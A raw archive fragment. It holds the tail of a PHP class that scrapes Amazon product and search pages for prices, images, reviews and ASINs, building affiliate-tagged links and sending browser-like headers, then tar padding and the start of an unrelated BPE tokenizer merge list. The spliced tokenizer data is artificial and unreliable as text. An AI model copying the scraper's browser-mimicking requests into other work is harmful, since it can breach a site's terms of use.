'//*[@id="detailBullets_feature_div"]/ul/li' ); $detailBulletsWrapper_feature_div = ''; if ($detailelements->length > 0) { foreach ( $detailelements as $element ) { $detailBulletsWrapper_feature_div .= ( str_replace("\n" , '' ,($element->nodeValue)) ) . '<br>'; } } if ( trim($detailBulletsWrapper_feature_div) != '' ) { $item_description = $item_description . '<br>' . $detailBulletsWrapper_feature_div; } } $ret ['item_description'] = $item_description; unset ( $elements ); $elements = $xpath->query ( '//*[@id="feature-bullets"]/ul/li/span[@class="a-list-item"]' ); $item_features = array (); if ($elements->length > 0) { foreach ( $elements as $element ) { $item_features [] = trim ( ($element->nodeValue) ); } unset ( $item_features [0] ); } $ret ['item_features'] = $item_features; preg_match_all ( '{colorImages\': \{.*?large":".*?".*?script>}s', $exec, $imgs_matches ); $possible_img_part = ''; if (isset ( $imgs_matches [0] [0] )) { $possible_img_part = $imgs_matches [0] [0]; } if (trim ( $possible_img_part ) != '') { preg_match_all ( '{large":"(.*?)"}s', $possible_img_part, $imgs_matches ); } else { preg_match_all ( '{large":"(.*?)"}s', $exec, $imgs_matches ); } $item_images = array_unique ( $imgs_matches [1] ); if (count ( $item_images ) == 0) { if (stristr ( $exec, 'imageGalleryData' )) { preg_match ( '{imageGalleryData(.*?)dimensions}s', $exec, $poassible_book_imgs ); } elseif (stristr ( $exec, 'ebooksImageBlockContainer' )) { preg_match ( '{<div id="ebooksImageBlockContainer(.*?)div>\s</div>}s', $exec, $poassible_book_imgs ); } elseif (stristr ( $exec, 'mainImageContainer' )) { preg_match ( '{<div id="mainImageContainer(.*?)div>}s', $exec, $poassible_book_imgs ); } elseif (stristr ( $exec, 'main-image-container' )) { preg_match ( '{<div id="main-image-container(.*?)div>}s', $exec, $poassible_book_imgs ); } if (isset ( $poassible_book_imgs[0] )) { $poassible_book_imgs = $poassible_book_imgs[0]; } else { $poassible_book_imgs = ''; } if (trim ( $poassible_book_imgs ) != '') { preg_match_all ( '{https://.*?\.jpg}s', $poassible_book_imgs, $possible_book_img_srcs ); $possible_book_img_srcs = $possible_book_img_srcs [0]; if (count ( $possible_book_img_srcs ) > 0) { $final_img = end ( $possible_book_img_srcs ); $final_img = preg_replace ( '{,.*?\.}', '.', $final_img ); $item_images = array ( $final_img ); } } } if(count($item_images) == 0 && strpos($exec, 'data-zoom-hires')){ preg_match_all('{data-zoom-hires="(.*?)"}', $exec, $mobile_imgs_matches); $item_images = $mobile_imgs_matches[1]; } $ret ['item_images'] = $item_images; unset ( $elements ); if (stristr ( $exec, 'id="priceblock_dealprice' ) || stristr ( $exec, 'id=priceblock_dealprice' )) { $elements = $xpath->query ( '//*[@id="priceblock_dealprice"]' ); } elseif (stristr ( $exec, 'id="priceblock_ourprice' ) || stristr ( $exec, 'id=priceblock_ourprice' )) { $elements = $xpath->query ( '//*[@id="priceblock_ourprice"]' ); } elseif (stristr ( $exec, 'id="priceblock_saleprice' ) || stristr ( $exec, 'id=priceblock_saleprice' )) { $elements = $xpath->query ( '//*[@id="priceblock_saleprice"]' ); } elseif (stristr ( $exec, 'id="price_inside_buybox' ) || stristr ( $exec, 'id=price_inside_buybox' )) { $elements = $xpath->query ( '//*[@id="price_inside_buybox"]' ); } elseif (stristr ( $exec, 'id="newBuyBoxPrice' ) || stristr ( $exec, 'id=newBuyBoxPrice' )) { $elements = $xpath->query ( '//*[@id="newBuyBoxPrice"]' ); } $item_price = ''; if (isset ( $elements ) && $elements->length > 0) { $item_price = trim ( $elements->item ( 0 )->nodeValue ); $item_price = preg_replace ( '{ -.*}', '', $item_price ); } elseif (stristr ( $exec, ' offer-price ' )) { preg_match_all ( '{ offer-price .*?>(.*?)</span>}s', $exec, $possible_price_matches ); $possible_price_matches = $possible_price_matches [1]; if (isset ( $possible_price_matches [0] ) && trim ( $possible_price_matches [0] ) != '') $item_price = $possible_price_matches [0]; } elseif (stristr ( $exec, '<span class="a-size-small a-color-price">' )) { preg_match_all ( '{<span class="a-size-small a-color-price">(.*?)</span>}s', $exec, $possible_price_matches ); $possible_price_matches = $possible_price_matches [1]; if (isset ( $possible_price_matches [0] ) && trim ( $possible_price_matches [0] ) != '') $item_price = trim ( $possible_price_matches [0] ); } elseif( stristr($exec, '<span class="a-size-large a-color-price">')) { preg_match_all ( '{<span class="a-size-large a-color-price">(.*?)</span>}s', $exec, $possible_price_matches ); $possible_price_matches = $possible_price_matches [1]; if (isset ( $possible_price_matches [0] ) && trim ( $possible_price_matches [0] ) != '') $item_price = trim ( $possible_price_matches [0] ); } elseif(stristr($exec, '<span class="a-price a-text-price a-size-medium" data-a-size="b" data-a-color="price"><span class="a-offscreen">')){ preg_match_all ( '{<span class="a-price a-text-price a-size-medium" data-a-size="b" data-a-color="price"><span class="a-offscreen">(.*?)</span>}s', $exec, $possible_price_matches ); $possible_price_matches = $possible_price_matches [1]; if (isset ( $possible_price_matches [0] ) && trim ( $possible_price_matches [0] ) != '') $item_price = trim ( $possible_price_matches [0] ); } elseif(stristr($exec,'data-a-color="price"><span class="a-offscreen">')){ preg_match_all ( '{data-a-color="price"><span class="a-offscreen">(.*?)</span>}s', $exec, $possible_price_matches ); $possible_price_matches = $possible_price_matches [1]; if (isset ( $possible_price_matches [0] ) && trim ( $possible_price_matches [0] ) != '') $item_price = trim ( $possible_price_matches [0] ); } elseif(stristr($exec, 'id="twister-plus-price-data-price"')){ preg_match ( '#<input type="hidden" id="twister-plus-price-data-price" value="([^"]*?)"#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $item_price = $possible_price_matches_pre; } elseif(stristr($exec, '"priceAmount":')){ preg_match ( '#"priceAmount":([^,]*?),#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $item_price = $possible_price_matches_pre; } elseif(stristr($exec, '<input type="hidden" name="priceValue"')){ preg_match ( '#<input type="hidden" name="priceValue" value="([^"]*?)" id="priceValue"#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $item_price = $possible_price_matches_pre; } unset ( $elements ); $elements = $xpath->query ( "//*[contains(@class, 'priceBlockStrikePriceString')]" ); $item_pre_price = $item_price; if ($elements->length > 0) { $item_pre_price = trim ( $elements->item ( 0 )->nodeValue ); $item_pre_price = preg_replace ( '{ -.*}', '', $item_pre_price ); } elseif(stristr($exec, 'data-a-strike="true" data-a-color="secondary">')){ preg_match ( '{data-a-strike="true" data-a-color="secondary"><span class="a-offscreen">(.*?)</span>}s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $item_pre_price = $possible_price_matches_pre; } $ret ['item_pre_price'] = $item_pre_price; if(empty($item_price) && !empty($item_pre_price)) { $item_price = $item_pre_price; } $item_price = str_replace ( '$ ', '$', $item_price ); $item_price = str_replace('()', '', $item_price); $item_price = strip_tags($item_price); $currency = '$'; if(stristr($exec, '"currencySymbol":"')){ preg_match ( '#"currencySymbol":"([^"]*?)"#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $currency = $possible_price_matches_pre; } elseif(stristr($exec, '<input type="hidden" name="priceSymbol"')){ preg_match ( '#<input type="hidden" name="priceSymbol" value="([^"]*?)" id="priceSymbol"#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $currency = $possible_price_matches_pre; } elseif(stristr($exec, '<input type="hidden" id="twister-plus-price-data-price-unit"')){ preg_match ( '#<input type="hidden" id="twister-plus-price-data-price-unit" value="([^"]*?)"#s', $exec, $possible_price_matches_pre ); $possible_price_matches_pre = $possible_price_matches_pre [1]; if(trim($possible_price_matches_pre) != '') $currency = $possible_price_matches_pre; } $ret ['item_price'] = $item_price; $ret ['price_currency'] = $currency; $ret ['item_link'] = 'https://amazon.' . $this->region . '/dp/' . $asin_code; $ret ['item_reviews'] = 'https://www.amazon.' . $this->region . '/product-reviews/' . $asin_code . '?atag=' . $affiliateID; unset ( $elements ); $elements = $xpath->query ( '//*[@id="featurebullets_feature_div"]' ); $item_features_html = ''; if ($elements->length > 0) { $item_features_elem = $elements->item ( 0 ); $item_features_html = trim ( $item_features_elem->nodeValue ); } $ret ['item_features_html'] = $item_features_html; unset ( $elements ); $elements = $xpath->query ( '//*[@data-hook="review-collapsed"]' ); $item_reviews_text = array (); if ($elements->length > 0) { foreach ( $elements as $element ) { $revme = $element->nodeValue; $revme = str_replace('The media could not be loaded.', '', $revme); $revme = trim($revme); $item_reviews_text[] = trim ( ($revme) ); } } $ret ['item_reviews_text'] = $item_reviews_text; return $ret; } public function getItemByKeyword($keyword, $ItemPage, $product_type, $additionalParam = array(), $min = '', $max = '') { $this->is_next_page_available = false; $keyword_encoded = urlencode ( trim ( $keyword ) ); $search_url = "https://www.amazon.{$this->region}/s?k=$keyword_encoded&ref=nb_sb_noss"; if ($ItemPage != 1) { $search_url .= "&page=$ItemPage"; } $x = 'error'; $url = $search_url; curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) ); curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, 'accept-encoding: utf-8' ); curl_setopt ( $this->ch, CURLOPT_ENCODING, "" ); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); if (trim ( $exec ) == '' || trim ( $x ) != '') { throw new Exception ( 'No valid reply returned from Amazon with a possible cURL err ' . $x ); } if (! stristr ( $exec, 'data-asin' )) { return array (); } preg_match_all ( '{data-asin="(.*?)"}', $exec, $productMatchs ); $asins = $productMatchs [1]; if (stristr ( $exec, 'proceedWarning' )) { return array (); } $possible_next_page = $ItemPage + 1; if (stristr ( $exec, 'page=' . $possible_next_page . '&' )) $this->is_next_page_available = true; return ($asins); } public function getASINs($moreUrl) { sleep ( rand ( 4, 6 ) ); $x = 'error'; $url = $moreUrl; $headers = array (); $headers [] = "Authority: www.amazon.{$this->region}"; $headers [] = "Upgrade-Insecure-Requests: 1"; $headers [] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; $headers [] = "Sec-Fetch-Site: none"; $headers [] = "Sec-Fetch-Mode: navigate"; $headers [] = "Sec-Fetch-Dest: document"; $headers [] = "Accept-Language: en-US,en;q=0.9"; curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, $headers ); curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) ); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); if (trim ( $exec ) == '') { throw new Exception ( 'Empty reply from Amazon with possible curl error ' . $x ); } if (! stristr ( $exec, 'amazon' )) { $gzdec = @gzdecode ( $exec ); if (stristr ( $gzdec, 'amazon' )) $exec = $gzdec; } if (stristr ( $exec, '/captcha/' ) || $cuinfo ['http_code'] == 503) { return array(); } if (! stristr ( $exec, 'data-asin' )) { return array (); } if (stristr ( $exec, 'proceedWarning' )) { return array (); } $doc = new DOMDocument (); $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML ( $exec, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD ); libxml_use_internal_errors($internalErrors); $xpath = new DOMXpath ( $doc ); $elements = $xpath->query ( '//*[@data-index]' ); $all_valid_items_html = ''; foreach ( $elements as $single_asin_element ) { $item_html = $doc->saveHtml ( $single_asin_element ); if (! stristr ( $item_html, 'a-row a-spacing-micro' ) && stristr ( $item_html, 'a-price-whole' )) { $all_valid_items_html .= $item_html; } } preg_match_all ( '{data-asin="(.*?)"}', $all_valid_items_html, $productMatchs ); $asins = array_values ( array_filter ( $productMatchs [1] ) ); preg_match ( '{amp;qid\=(\d*?)&}', $exec, $qid_matches ); if (isset ( $qid_matches [1] ) && is_numeric ( $qid_matches [1] )) { $this->next_request_qid = $qid_matches [1]; } $slugs = array (); foreach ( $asins as $product_asin ) { preg_match ( '{/([^/]*?)/dp/' . $product_asin . '}', $all_valid_items_html, $slug_match ); if(isset($slug_match[1])) { $slugs[] = $slug_match[1]; } } $this->slugs = $slugs; return ($asins); } } ?>�������������������res/vocab.bpe���������������������������������������������������������������������������������������0000644�����������������00001573176�14757771437�0007171 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#version: 0.2 Ä  t Ä  a h e i n r e o n Ä t he e r Ä  s a t Ä  w Ä  o e n Ä  c i t i s a n o r e s Ä  b e d Ä  f in g Ä  p o u Ä a n a l a r Ä t o Ä  m Ä o f Ä  in Ä  d Ä  h Ä an d i c a s l e Ä t h i on o m l l en t Ä  n Ä  l s t Ä  re v e Ä  e r o l y Ä b e Ä  g Ä  T c t Ä  S i d o t Ä  I u t e t Ä  A Ä  is Ä  on i m a m o w a y a d s e Ä th at Ä  C i g Ä f or a c Ä  y v er u r Ä  u l d Ä s t Ä  M ' s Ä  he Ä  it at ion it h i r c e Ä y ou i l Ä  B Ä w h o l Ä  P Ä w ith Ä  1 t er c h Ä a s Ä w e Ä  ( n d i ll Ä  D i f Ä  2 a g er s k e Ä  " Ä  H e m Ä c on Ä  W Ä  R he r Ä w as Ä  r o d Ä  F u l at e Ä a t r i p p o re Ä T he Ä s e u s Ä p ro Ä h a u m Ä a re Ä d e a in an d Ä o r ig h es t is t a b r om Ä  N t h Ä c om Ä  G u n o p 0 0 Ä  L Ä n ot es s Ä e x Ä  v re s Ä  E e w it y an t Ä b y e l o s or t o c q u Ä f rom Ä ha ve Ä s u i ve ou ld Ä s h Ä th is n t r a p e igh t ar t m ent Ä a l u st en d - - al l Ä  O ac k Ä c h Ä  le i es re d ar d â Ä¢ ou t Ä  J Ä a b e ar i v al ly ou r o st g h p t Ä p l as t Ä c an a k om e u d T he Ä h is Ä d o Ä g o Ä h as g e ' t Ä  U r ou Ä s a Ä  j Ä b ut Ä w or Ä a ll e ct Ä  k am e Ä w ill o k Ä w he Ä the y id e 0 1 f f ic h p l t her Ä t r . . Ä in t i e u re ag e Ä n e i al a p in e ic e Ä m e Ä o ut an s on e on g ion s Ä wh o Ä  K Ä u p Ä the ir Ä a d Ä  3 Ä u s at ed ou s Ä m ore u e o g Ä S t in d i ke Ä s o im e p er . " b er i z a ct Ä on e Ä sa id Ä  - a re Ä you r c c Ä T h Ä c l e p a ke ab le i p Ä con t Ä wh ich i a Ä  im Ä ab out Ä we re ver y u b Ä h ad Ä  en Ä com p , " Ä I n Ä u n Ä a g i re ac e a u ar y Ä w ould as s r y Ä  âĢ c l o ok e re s o Ä  V ig n i b Ä of f Ä t e v en Ä  Y i le o se it e or m Ä 2 01 Ä re s Ä m an Ä p er Ä o ther or d ul t Ä be en Ä l ike as e an ce k s ay s ow n en ce Ä d is ct ion Ä an y Ä a pp Ä s p in t res s ation s a il Ä  4 ic al Ä the m Ä he r ou nt Ä C h Ä a r Ä  if Ä the re Ä p e Ä y ear a v Ä m y Ä s ome Ä whe n ou gh ac h Ä th an r u on d ic k Ä o ver ve l Ä  qu ÄŠ ÄŠ Ä s c re at re e Ä I t ou nd p ort Ä al so Ä p art f ter Ä k n Ä be c Ä t ime en s Ä  5 op le Ä wh at Ä n o d u m er an g Ä n ew -- -- Ä g et or y it ion ing s Ä j ust Ä int o Ä  0 ent s o ve t e Ä pe ople Ä p re Ä it s Ä re c Ä t w i an ir st ar k or s Ä wor k ad e o b Ä s he Ä o ur w n in k l ic Ä 1 9 Ä H e is h nd er au se Ä h im on s Ä  [ Ä  ro f orm i ld at es ver s Ä on ly o ll Ä s pe c k e ll am p Ä a cc Ä b l i ous ur n f t o od Ä h ow he d Ä  ' Ä a fter a w Ä at t o v n e Ä pl ay er v ic t Ä c ould it t Ä a m Ä f irst Ä  6 Ä a ct Ä  $ e c h ing u al u ll Ä com m o y o ld c es at er Ä f e Ä be t w e if f Ä tw o oc k Ä b ack ) . id ent Ä u nder rou gh se l x t Ä m ay rou nd Ä p o p h is s Ä d es Ä m ost Ä d id Ä ad d j ect Ä in c f ore Ä p ol on t Ä ag ain cl ud ter n Ä kn ow Ä ne ed Ä con s Ä c o Ä  . Ä w ant Ä se e Ä  7 n ing i ew Ä Th is c ed Ä e ven Ä in d t y Ä W e at h Ä the se Ä p r Ä u se Ä bec ause Ä f l n g Ä n ow ĠâĢ ĵ c om is e Ä m ake Ä the n ow er Ä e very Ä U n Ä se c os s u ch Ä e m Ä  = Ä R e i ed r it Ä in v le ct Ä su pp at ing Ä l ook m an pe ct Ä  8 ro w Ä b u Ä whe re if ic Ä year s i ly Ä d iff Ä sh ould Ä re m T h I n Ä e v d ay ' re ri b Ä re l s s Ä de f Ä r ight Ä s y ) , l es 00 0 he n Ä th rough Ä T r _ _ Ä w ay Ä d on Ä  , Ä 1 0 as ed Ä as s ub lic Ä re g Ä A nd i x Ä  very Ä in clud ot her Ä im p ot h Ä su b ĠâĢ Ķ Ä be ing ar g Ä W h = = ib le Ä do es an ge r am Ä  9 er t p s it ed ation al Ä b r Ä d own Ä man y ak ing Ä c all ur ing it ies Ä p h ic s al s Ä de c at ive en er Ä be fore il ity Ä we ll Ä m uch ers on Ä th ose Ä su ch Ä  ke Ä  end Ä B ut as on t ing Ä l ong e f Ä th ink y s Ä be l Ä s m it s a x Ä o wn Ä pro v Ä s et if e ment s b le w ard Ä sh ow Ä p res m s om et Ä o b Ä s ay Ä S h t s f ul Ä e ff Ä g u Ä in st u nd re n c ess Ä  ent Ä Y ou Ä go od Ä st art in ce Ä m ade t t st em ol og u p Ä  | um p Ä he l ver n ul ar u ally Ä a c Ä m on Ä l ast Ä 2 00 1 0 Ä st ud u res Ä A r sel f ar s mer ic u es c y Ä m in oll ow Ä c ol i o Ä m od Ä c ount Ä C om he s Ä f in a ir i er âĢ Ķ re ad an k at ch e ver Ä st r Ä po int or k Ä N ew Ä s ur o ol al k em ent Ä us ed ra ct we en Ä s ame ou n Ä A l c i Ä diff ere Ä wh ile ---- ---- Ä g ame ce pt Ä s im .. . Ä in ter e k Ä re port Ä pro du Ä st ill l ed a h Ä he re Ä wor ld Ä th ough Ä n um ar ch im es al e Ä S e Ä I f / / Ä L e Ä re t Ä re f Ä tr ans n er ut ion ter s Ä t ake Ä C l Ä con f w ay a ve Ä go ing Ä s l u g Ä A meric Ä spe c Ä h and Ä bet ween ist s Ä D e o ot I t Ä e ar Ä again st Ä h igh g an a z at her Ä ex p Ä o p Ä in s Ä g r Ä hel p Ä re qu et s in s Ä P ro is m Ä f ound l and at a us s am es Ä p erson Ä g reat p r Ä s ign Ä A n ' ve Ä s omet Ä s er h ip Ä r un Ä  : Ä t er ire ct Ä f ollow Ä d et ic es Ä f ind 1 2 Ä m em Ä c r e red e x Ä ex t ut h en se c o Ä te am v ing ou se as h at t v ed Ä sy stem Ä A s d er iv es m in Ä le ad Ä B l c ent Ä a round Ä go vern Ä c ur vel op an y Ä c our al th ag es iz e Ä c ar od e Ä l aw Ä re ad ' m c on Ä re al Ä supp ort Ä 1 2 .. .. Ä re ally n ess Ä f act Ä d ay Ä b oth y ing Ä s erv Ä F or Ä th ree Ä w om Ä m ed od y Ä The y 5 0 Ä ex per t on Ä e ach ak es Ä c he Ä c re in es Ä re p 1 9 g g ill ion Ä g rou ut e i k W e g et E R Ä m et Ä s ays o x Ä d uring er n iz ed a red Ä f am ic ally Ä ha pp Ä I s Ä ch ar m ed v ent Ä g ener i ent p le i et re nt 1 1 v es pt ion Ä 2 0 form ation Ä c or Ä off ic ie ld Ä to o is ion Ä in f Ä  Z t he o ad Ä p ublic Ä pro g r ic * * Ä w ar Ä p ower v iew Ä f ew Ä l oc Ä differe nt Ä st ate Ä he ad ' ll Ä p oss Ä st at re t ant s Ä v al Ä is s Ä c le i vers an c Ä ex pl Ä an other Ä  Q Ä a v th ing n ce W h Ä ch ild Ä s ince i red l ess Ä l ife Ä de velop itt le Ä de p Ä p ass ã Ä¥ Ä t urn or n Th is b ers ro ss Ä A d Ä f r Ä res p Ä sec ond o h Ä  / Ä dis c Ä  & Ä somet hing Ä comp le Ä  ed Ä f il Ä mon th a j u c Ä govern ment Ä with out Ä le g Ä d ist Ä p ut Ä qu est an n Ä pro t 2 0 Ä ne ver i ence Ä le vel Ä ar t Ä th ings Ä m ight Ä eff ect Ä cont ro Ä c ent Ä 1 8 Ä all ow Ä bel ie ch ool ot t Ä inc re Ä fe el Ä res ult Ä l ot Ä f un ot e Ä t y ere st Ä cont in Ä us ing Ä b ig 2 01 Ä as k Ä b est Ä  ) I N Ä o pp 3 0 Ä num ber in ess S t le ase Ä c a Ä m ust Ä d irect Ä g l Ä  < Ä op en Ä p ost Ä com e Ä se em ord ing Ä we ek ate ly it al Ä e l ri end Ä f ar Ä t ra in al Ä p ri Ä U S Ä pl ace Ä for m Ä to ld " : ain s at ure Ä Tr ump Ä st and Ä  # id er Ä F r Ä ne xt Ä s oc Ä p ur Ä le t Ä l ittle Ä h um Ä  i r on 1 5 Ä 1 5 Ä comm un Ä m ark Ä The re Ä w r Ä Th at Ä in formation w ays Ä b us a pp Ä inv est m e Ä h ard ain ed e ad Ä im port Ä app ro Ä t est Ä t ri Ä re st os ed Ä f ull Ä c are Ä S p Ä c ase O N Ä s k Ä l ess Ä  + Ä part ic Ä P l ab ly u ck is hed ch n b e Ä l ist at or Ä to p Ä ad v Ä B e ru ct Ä d em r ation l ing g y re en g er Ä h ome Ä le ft Ä bet ter Ä d ata Ä 1 1 Ä att ack Ä pro ble l ine ard s Ä be h r al Ä H ow Ä S he ar ge Ä  -- : // Ä b ro Ä P h at s Ä bu ild w w id ed a im as es en cy Ä m ain in ed Ä includ ing Ä  { Ä g ot Ä int erest Ä ke ep Ä  X Ä e as ain ing Ä cl ass âĢ ¦ Ä N o Ä v ar Ä sm all amp le A T Ä  ide Ä S o Ä re ce Ä pol it Ä m ov Ä pl an Ä per cent iv ing Ä c amp Ä p ay 1 4 s c is ed Ä u nt one y pl oy == == Ä did n Ä I nd el s ert ain Ä p os __ __ i ver Ä pro cess Ä prog ram if ied Ä R ep 1 6 u ro olog y at ter in a Ä n ame Ä A ll Ä f our Ä ret urn v ious b s Ä call ed Ä m ove Ä S c ir d Ä grou p Ä b re Ä m en Ä c ap t en e e Ä d ri le g he re uth or Ä p at Ä cur rent id es Ä p op t o ent ion Ä al ways Ä m il Ä wom en Ä 1 6 Ä o ld iv en ra ph Ä O r r or ent ly Ä n ear Ä E x re am s h Ä 1 4 Ä f ree iss ion st and Ä C on al ity us ed 1 3 Ä des ign Ä ch ange Ä ch ang Ä b o Ä v is em ber Ä b ook read y Ä k ill 2 5 pp ed Ä a way Ä ab le Ä count ry Ä con st ar n Ä or der A R i or i um or th 1 8 ail able Ä s w Ä m illion Ä 1 3 at ic t ed Ä G o Ä o per en g Ä th ing aj or con om Ä Com m Ä wh y u red ur al Ä s chool b y Ä M ar Ä a ff Ä d ays Ä an n us h an e I f e g Ä pro f Ä he alth ou th B ut ion al . , Ä s ol Ä al ready Ä 3 0 Ä char act H e Ä f riend E S i ans ic le ' d Ä O n Ä le ast Ä p rom Ä d r Ä h ist it her Ä  est i qu 1 7 s on Ä te ll Ä t alk oh n o int le ction A N Ä unt il au gh Ä l ater Ä  ve Ä v iew end ing iv ed Ä wor d w are Ä c ost Ä en ough Ä g ive Ä Un ited Ä te chn are nt O R Ä p ar Ä D r Ä 201 6 r ist er ing Ä   Ġl arge s ide ac y cc ess Ä w in Ä import ant Ä 19 9 Ä does n Ä 1 7 Ä bus iness Ä cle ar Ä re se " , ur y Ä e qu as ter al f Ä Americ an n ect Ä ex pect ivers ity Ä o cc Ä F l Ä k ind Ä me an Ä p ast Ä de v Ä b as le t ra ft Ä or gan Ä de l Ä per form Ä st ory Ä se ason Ä C ol Ä cl aim Ä c ame Ä with in Ä l ine Ä pro ject Ä A t Ä contro l end ed Ä S y Ä a ir iz ation Ä  * le y Ä m oney id d Y ou f or Ä fam ily Ä m aking Ä b it Ä pol ice Ä happ en Ä  vers on y u ff Ä W hen Ä s it ide o l f is on Ä su re g in Ä app ear Ä l ight Ä  es o f Ä w ater Ä t imes n ot Ä g row Ä comp any Ä T e ow s Ä m ar our ce i ol ar m b r Ä ex ample Ä con c Ä f ore Ä T o p ro E N ri es Ä 2 5 Ä C an ne y Ä act ually Ä e ver ur ity ak en ap s Ä t ax Ä m ajor am a Ä of ten er al Ä hum an Ä j ob is ter Ä av ailable oc r en n a id iv id Ä rec ord ? " Ä s ing Ä A m id ence Ä new s st er Ä e conom Ä follow ing Ä B r is ing Ä h our m ost um ent Ä se x Ä des c Ä bec ome Ä E d Ä to ok Ä ha ving Ä produ ct a ult A s ar ing Ä me ans Ä h op un e Ä ch o Ä c ertain Ä n on Ä de al 2 4 le ment oc i en e Ä s ide Ä P r Ä M ay Ä re ason u ed c hed ul ation Ä e lect Ä offic ial Ä poss ible Ä h old and s ot s Ä c ity or ies Ä se ver Ä child ren Ä on ce Ä act iv l er Ä n ight it ions Ä J ohn a pe pl ay Ä d one Ä l im Ä work ing Ä P res or ld e b Ä C o Ä b ody ail s ut es Ä M r Ä whe ther Ä a uthor ro p Ä pro per Ä se en ) ; Ä f ac Ä S u Ä con d it ing Ä cour se Ä  } -------- -------- a ign Ä ev ent Ä en g Ä p ot Ä in tern i am Ä sh ort em pt ã Ĥ Ä G od il ar 8 0 Ä or ig I S our n ab ility it ive Ä d am Ä 1 00 Ä p ress Ä do ing Ä prot ect r ing Ä though t Ä quest ion re w Ä W ar Ä sever al Ä St ate Ä g iven Ä f und Ä T w Ä w ent an ces w ork p or m y 4 0 Ä ar g art ment ust om Ä pol ic Ä me et Ä c reat 2 2 Ä St ates Ä g ames ra w ut ure Ä under stand ur s Ä O b l ish s y Ä m akes Ä w on ag on Ä h tt Ä l ove ent ial Ä comple te p ar Ä I m A L Ä acc ount  ł ore d ver t Ä  ident Ä 201 5 Ä other s Ä M in i ber ver age The re ition al d d Ä pro b Ä you ng Ä al ong Ä acc ording Ä y et Ä mem bers Ä Wh at o id Ä M an A nd Ä am ong a i Ä em ploy Ä R es Ä  > Ä inv ol Ä l ow a f Ä C ar Ä h ig Ä O ne Ä S ec in ation Ä like ly Ä an t ag ed Ä R uss Ä b en Ä re le F or b ack Ä N ot Ä pres ident b all Ä acc ess ivid ual Ä D em Ä E uro 6 0 Ä kn own ir l Ä G r Ä ear ly u se iet y âĢ ĵ Ä f ight Ä s ent Ä to day Ä mark et " . Ä b ased Ä str ong ur ther Ä de b m ber Ä proble m Ä de ath Ä soc ial im ate A S ort un Ä camp aign er y C h Ä e y i ally Ä m us w h p os Ä  er Ä sa f Ä month s ir on Ä v iol Ä f ive Ä st re Ä play ers in c al d y ear a un Ä su ccess Ä pres ent ere nce Ä 201 4 Ä su gg Ä partic ular Ä tr y Ä sugg est Ä Ch rist on es Ä pri v 2 3 Ä c rit Ä l and Ä loc al if y 2 9 Ä a ut E D Ä G u Ä m ult Ä polit ical Ä ask ed Ä for mer it ter ri pt Ä cl ose Ä p ract Ä Y ork Ä get ting Ä ac ross Ä com b Ä belie ve Ä  z Ä to get Ä toget her Ä C ent ir c Ä ind ividual Ä M c 2 7 is k Ä E ng Ä f ace Ä 2 4 Ä val ue Ä are a e v Ä w rit Ä Pres ident Ä v ot Ä ke y Ä m om p ut Ä any thing Ä exper ience att le Ä m ind a ff om m Ä f uture g ed Ä c ut Ä to t it ch Ä v ideo Ä invest ig Ä n et Ä M y r ict i en . ) Ä imp ro th ough ward s Ä con nect Ä M ed sel ves ens ive m b o ber at ors A n Ä 5 0 Ä re du res ent Ä ab ove Ä f re Ä Euro pe s w Ä am ount Ä A pp Ä e ither Ä mil it Ä an al Ä f ail Ä E n al es Ä spec ial Ä bl ack I T c her Ä look ing Ä f ire y n Ä al most o on Ä stud y Ä m iss c hes ro wn Ä t re Ä commun ity Ä med ia Ä f ood Ä com es Ä Un iversity Ä sing le Wh at u ly Ä h alf ag ue h od Ä Rep ublic Ä start ed Ä qu ick ot o b ook Ä iss ue it or Ä el se Ä cons ider 2 6 ro du Ä t aken 2 8 9 9 Ä W ith Ä tr ue Ä w a Ä tr ad Ä ag o Ä m ess ie f Ä add ed o ke Ä b ad Ä f av 3 3 Ä sim ilar as k Ä D on Ä charact er ort s Ä H ouse Ä report ed Ä ty pe v al i od Ä How ever Ä t arg Ä ent ire pp ing Ä hist ory Ä l ive ff ic .... .... ed eral Ä tr ying Ä disc uss Ä H ar ac es l ished Ä se lf os p re st Ä ro om el t Ä f all ol ution Ä e t Ä  x Ä is n Ä ide a b o Ä s ound Ä D ep Ä some one ci ally ull y Ä f oc Ä ob ject if t ap er Ä play er Ä r ather Ä serv ice as hing Ä D o Ä P art ru g m on p ly Ä m or Ä not hing Ä prov ide I C un g Ä part y Ä ex ist Ä m ag 7 0 Ä r ul Ä h ouse Ä beh ind Ä how ever Ä W orld Ä s um Ä app lic Ä  ; Ä fun ction g r Ä P ol Ä fr ont 2 00 Ä ser ies Ä t em Ä ty p ill s Ä o pt Ä point s Ä bel ow itt ed Ä spec ific Ä 201 7 um b Ä r a Ä pre vious Ä pre t re me Ä c ustom Ä cour t Ä M e Ä re pl Ä who le g o c er Ä t reat Ä A ct Ä prob ably Ä le arn end er Ä A ss Ä vers ion n ow Ä che ck Ä C al R E min ist O n our ces Ä ben ef Ä d oc Ä det er Ä en c Ä su per Ä add ress Ä v ict Ä 201 3 Ä me as t r Ä f ield W hen Ä sign ific u 